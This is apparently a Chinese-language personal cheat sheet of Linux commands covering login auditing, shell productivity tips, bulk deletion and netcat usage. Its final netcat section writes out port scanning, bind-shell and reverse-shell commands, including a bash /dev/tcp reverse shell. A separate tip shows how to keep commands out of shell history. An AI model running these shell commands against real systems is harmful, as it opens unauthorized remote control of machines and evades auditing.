Skip to content

Useful Command

命令笔记

系统相关

日志相关

安全相关

  • w -u:查询当前当前用户和所运行的程序等信息,类似命令whoami或者who am i
  • last:显示用户最近登录信息。如果没有指定任何参数,则显示所有用户的历史信息。在默认情况下,这些所显示的信息将来源于/var/log/wtmp文件;
  • lastlog:用于查看系统中每个用户最后的登录时间,指定用户使用-u选项,指定最近几天的记录,使用-t选项;

工作效率

  • fc:用于编辑最后一条命令并保存之后自动执行该命令,应用场景,运行了一大段命令但因为一个符号或者字母输错导致命令失败,快速编辑;
  • disown -a :将任务从”后台任务”列表(jobs命令的返回结果)之中移除,阻止当前 shell 在终止登录会话时向每个指定作业发送 HUP 信号(为啥我Ubuntu18不能用?);
  • Ctrl + X + E终端快捷键:打开编辑器输入命令并自动执行该命令,应用场景,一次运行多条长命令(若果运行时发生报错或者其他问题,需要在/etc/bashrc中添加变量EDITOR=vim即可);
  • 命令前加空格:隐藏所运行的命令,使其不被记录到历史命令中(6,一直没发现);
  • !!:调用最近一次命令(感觉没什么卵用);
  • find ./ -type f -delete: 删除大量文件,要比直接使用-exec rm -rf {} \;要快很多,另外,使用rsync -a --delete <FILE_LIST>删除文件会更快,尤其是文件数量巨大时,删除50w的小文件时,rm命令显得那么力不从心.
  • nc相关:
Terminal window
# nc 实现端口扫描
nc -u -z -w2 127.0.0.1 1-1000 # 扫描范围是 1-1000
nc -nvv 127.0.0.1 80 # 扫描80端口
# nc 实现文件传输
# 接收方提前设置监听端口与要接收的文件名(文件名可自定义):
nc -lp 8888 > node.tar.gz
# 传输方发文件:
nc -nv 192.168.75.121 8888 -i 1 < node_exporter-1.3.1.linux-amd64.tar.gz
# ⚠️ 注意:-i 表示闲置超时时间
# nc 实现远程控制
# 正向控制,被控端主动设置监听端口及bash环境,控制端连接,如果有防火墙,需开放端口,否则会被拦截。
# 被控制端执行下面的命令:
nc -lvnp 8888 -c bash
# 控制端执行下面的命令:
nc 192.168.75.121 8888
# 反向控制,控制端设置监听端口,被控端主动连接控制端的ip及端口,并提供bash环境。
# 控制端执行下面的命令:
nc -lvnp 8888
# 被控制端执行下面的命令:
nc 192.168.75.121 8888 -c bash
# 反弹shell
# 控制端执行下面的命令:
nc -lvnp 8888
# 被控端执行下面的命令:
bash -i &> /dev/tcp/192.168.75.121/8888 0>&1